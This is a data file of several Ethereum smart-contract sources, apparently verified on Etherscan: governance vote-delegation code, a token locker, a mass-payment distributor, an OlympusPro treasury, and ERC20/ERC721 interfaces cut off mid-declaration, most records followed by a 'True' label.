"EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256( "Delegation(address delegatee,uint256 nonce,uint256 expiry)" ); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require( signatory != address(0), "ISWAP::delegateBySig: invalid signature" ); require( nonce == nonces[signatory]++, "ISWAP::delegateBySig: invalid nonce" ); require(now <= expiry, "ISWAP::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) { require(blockNumber < block.number, "ISWAP::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying ISWAPs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee,uint32 nCheckpoints,uint256 oldVotes,uint256 newVotes) internal { uint32 blockNumber = safe32( block.number, "ISWAP::_writeCheckpoint: block number exceeds 32 bits" ); if ( nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber ) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint( blockNumber, newVotes ); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-10-21 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } library EnumerableSet { struct Set { bytes32[] _values; mapping(bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; } set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } contract TokenLocker is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.UintSet; struct TokenLock { address token; address owner; uint256 tokenAmount; uint256 lockedTime; uint256 unlockTime; } uint256 public lockNonce = 0; uint256 public plusPercent = 100; address public csdToken; bool private pause = false; uint256 private ownerDepositAmount = 0; mapping(uint256 => TokenLock) public tokenLocks; mapping(address => EnumerableSet.UintSet) private userLocks; event OnTokenLock( uint256 indexed lockId, address indexed tokenAddress, address indexed owner, uint256 amount, uint256 lockedTime, uint256 unlockTime ); event OnTokenUnlock(uint256 indexed lockId); event OnLockWithdrawal( uint256 indexed lockId, address indexed tokenAddress, address indexed owner, uint256 amount, uint256 refundAmount, uint256 lockedTime, uint256 unlockTime, uint256 realUnlockTime ); event OnEmegencyTokenUnlock( uint256 indexed lockId, address indexed tokenAddress, address indexed owner, uint256 amount, uint256 lockedTime, uint256 unlockTime, uint256 realUnlockTime ); event OnWithdrawFee(uint256 amount); event OnDepositForFee(uint256 amount); modifier onlyLockOwner(uint lockId) { TokenLock storage lock = tokenLocks[lockId]; require(lock.owner == address(msg.sender), "NO ACTIVE LOCK OR NOT OWNER"); _; } constructor(address _token, uint256 _percent, bool _pause) { csdToken = _token; plusPercent = _percent; pause = _pause; } function lockTokens(uint256 amount, uint256 lockDays) public returns (uint256 lockId) { require(pause != true, "Pause Locker"); require(amount > 0, "ZERO AMOUNT"); require(lockDays >= 90, "INVALID UNLOCK DAYS, MUST BE OVER 90 DAYS"); uint256 unlockTime = block.timestamp + lockDays.mul(86400); TokenLock memory lock = TokenLock({ token: csdToken, owner: msg.sender, tokenAmount: amount, lockedTime: block.timestamp, unlockTime: unlockTime }); lockId = lockNonce++; tokenLocks[lockId] = lock; userLocks[msg.sender].add(lockId); IERC20(csdToken).safeTransferFrom(msg.sender, address(this), amount); emit OnTokenLock(lockId, csdToken, msg.sender, amount, block.timestamp, unlockTime); return lockId; } function withdraw(uint256 lockId) public onlyLockOwner(lockId) { TokenLock storage lock = tokenLocks[lockId]; require(block.timestamp >= lock.unlockTime, "NOT YET UNLOCKED"); uint256 duration = (block.timestamp - lock.lockedTime).div(86400); uint256 fee = lock.tokenAmount.div(plusPercent).mul(duration); uint256 refundAmount = lock.tokenAmount + fee; require(ownerDepositAmount >= fee, "NOT ENOUGH TOKENS FOR FEE"); IERC20(lock.token).safeTransfer(lock.owner, refundAmount); ownerDepositAmount = ownerDepositAmount.sub(fee); userLocks[lock.owner].remove(lockId); delete tokenLocks[lockId]; emit OnTokenUnlock(lockId); emit OnLockWithdrawal(lockId, lock.token, lock.owner, lock.tokenAmount, refundAmount, lock.lockedTime, lock.unlockTime, block.timestamp); } function emegencyWithdraw(uint256 lockId) public onlyOwner { TokenLock storage lock = tokenLocks[lockId]; IERC20(lock.token).safeTransfer(lock.owner, lock.tokenAmount); userLocks[lock.owner].remove(lockId); delete tokenLocks[lockId]; emit OnTokenUnlock(lockId); emit OnEmegencyTokenUnlock(lockId, lock.token, lock.owner, lock.tokenAmount, lock.lockedTime, lock.unlockTime, block.timestamp); } function withdrawFee(uint256 _amount) public onlyOwner { require(ownerDepositAmount >= _amount, "Not enough token funds in the wallet for withdraw"); IERC20(csdToken).safeTransfer(msg.sender, _amount); ownerDepositAmount = ownerDepositAmount.sub(_amount); emit OnWithdrawFee(_amount); } function depositForFee(uint256 _amount) public onlyOwner { require(IERC20(csdToken).allowance(msg.sender, address(this)) >= _amount, "BEP20: transfer amount exceeds allowance"); require(IERC20(csdToken).balanceOf(msg.sender) >= _amount, "Not enough token funds in the wallet"); IERC20(csdToken).transferFrom(msg.sender, address(this), _amount); ownerDepositAmount = ownerDepositAmount.add(_amount); emit OnDepositForFee(_amount); } function userLocksLength(address user) public view returns (uint256) { return userLocks[user].length(); } function userLockAt(address user, uint256 index) public view returns (uint256) { return userLocks[user].at(index); } function setPlusPercent(uint256 _percent) public onlyOwner { plusPercent = _percent; } function setTokenAddress(address _token) public onlyOwner { csdToken = _token; } function getPause() external view returns (bool) { return pause; } function setPause(bool _pause) public onlyOwner { pause = _pause; } function getWithdrawbleAmount() external view returns (uint256) { return ownerDepositAmount; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-03-08 */ // SPDX-License-Identifier: BSD-3-Clause pragma solidity 0.6.11; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface token { function transfer(address receiver, uint amount) external; } contract MassPay is Ownable{ event Message(string message); token tokenReward; address public addressOfTokenUsedAsReward; function setTokenReward(address _addr) public onlyOwner { tokenReward = token(_addr); addressOfTokenUsedAsReward = _addr; } constructor(address _token) public { setTokenReward(_token); } function distributeTokens(address[] memory _addrs, uint[] memory _bals,string memory message) public onlyOwner{ emit Message(message); for(uint i = 0; i < _addrs.length; ++i){ tokenReward.transfer(_addrs[i],_bals[i]); } } function distributeEth(address payable[] memory _addrs, uint[] memory _bals, string memory message) public onlyOwner { for(uint i = 0; i < _addrs.length; ++i) { _addrs[i].transfer(_bals[i]); } emit Message(message); } // accept ETH receive () payable external {} function withdrawEth(uint _value) public onlyOwner { msg.sender.transfer(_value); } function withdrawTokens(uint _amount) public onlyOwner { tokenReward.transfer(owner,_amount); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-01-18 */ // File contracts/libraries/SafeMath.sol // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } // File contracts/libraries/Address.sol pragma solidity 0.7.5; library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } // File contracts/interfaces/IERC20.sol pragma solidity 0.7.5; interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/libraries/SafeERC20.sol pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/types/Ownable.sol pragma solidity 0.7.5; contract Ownable { address public policy; constructor () { policy = msg.sender; } modifier onlyPolicy() { require( policy == msg.sender, "Ownable: caller is not the owner" ); _; } function transferManagment(address _newOwner) external onlyPolicy() { require( _newOwner != address(0) ); policy = _newOwner; } } // File contracts/OlympusProCustomTreasury.sol pragma solidity 0.7.5; contract CustomTreasury is Ownable { /* ======== DEPENDENCIES ======== */ using SafeERC20 for IERC20; using SafeMath for uint; /* ======== STATE VARIABLS ======== */ address public immutable payoutToken; mapping(address => bool) public bondContract; /* ======== EVENTS ======== */ event BondContractWhitelisted(address bondContract); event BondContractDewhitelisted(address bondContract); event Withdraw(address token, address destination, uint amount); /* ======== CONSTRUCTOR ======== */ constructor(address _payoutToken, address _initialOwner) { require( _payoutToken != address(0) ); payoutToken = _payoutToken; require( _initialOwner != address(0) ); policy = _initialOwner; } /* ======== BOND CONTRACT FUNCTION ======== */ /** * @notice bond contract recieves payout tokens * @param _amountPayoutToken uint */ function sendPayoutTokens(uint _amountPayoutToken) external { require(bondContract[msg.sender], "msg.sender is not a bond contract"); IERC20(payoutToken).safeTransfer(msg.sender, _amountPayoutToken); } /* ======== VIEW FUNCTION ======== */ /** * @notice returns payout token valuation of priciple * @param _principalTokenAddress address * @param _amount uint * @return value_ uint */ function valueOfToken( address _principalTokenAddress, uint _amount ) public view returns ( uint value_ ) { // convert amount to match payout token decimals value_ = _amount.mul( 10 ** IERC20( payoutToken ).decimals() ).div( 10 ** IERC20( _principalTokenAddress ).decimals() ); } /* ======== POLICY FUNCTIONS ======== */ /** * @notice policy can withdraw ERC20 token to desired address * @param _token uint * @param _destination address * @param _amount uint */ function withdraw(address _token, address _destination, uint _amount) external onlyPolicy() { IERC20(_token).safeTransfer(_destination, _amount); emit Withdraw(_token, _destination, _amount); } /** @notice whitelist bond contract @param _bondContract address */ function whitelistBondContract(address _bondContract) external onlyPolicy() { bondContract[_bondContract] = true; emit BondContractWhitelisted(_bondContract); } /** @notice dewhitelist bond contract @param _bondContract address */ function dewhitelistBondContract(address _bondContract) external onlyPolicy() { bondContract[_bondContract] = false; emit BondContractDewhitelisted(_bondContract); } }
True
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pragma solidity 0.4.24; // File: contracts/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/ERC20/ERC20.sol /** * @title ERC20 interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/ERC721/ERC721Basic.sol /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic { // bytes4(keccak256(&#39;balanceOf(address)&#39;)) ^ // bytes4(keccak256(&#39;ownerOf(uint256)&#39;)) ^ // bytes4(keccak256(&#39;approve(address,uint256)&#39;)) ^ // bytes4(keccak256(&#39;getApproved(uint256)&#39;)) ^ // bytes4(keccak256(&#39;setApprovalForAll(address,bool)&#39;)) ^ // bytes4(keccak256(&#39;isApprovedForAll(address,address)&#39;)) ^ // bytes4(keccak256(&#39;transferFrom(address,address,uint256)&#39;)) ^ // bytes4(keccak256(&#39;safeTransferFrom(address,address,uint256)&#39;)) ^ // bytes4(keccak256(&#39;safeTransferFrom(address,address,uint256,bytes)&#39;)); bytes4 constant INTERFACE_ERC721 = 0x80ac58cd; event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool indexed _approved); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); // Note: This is not in the official ERC-721 standard so it&#39;s not included in the interface hash function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function 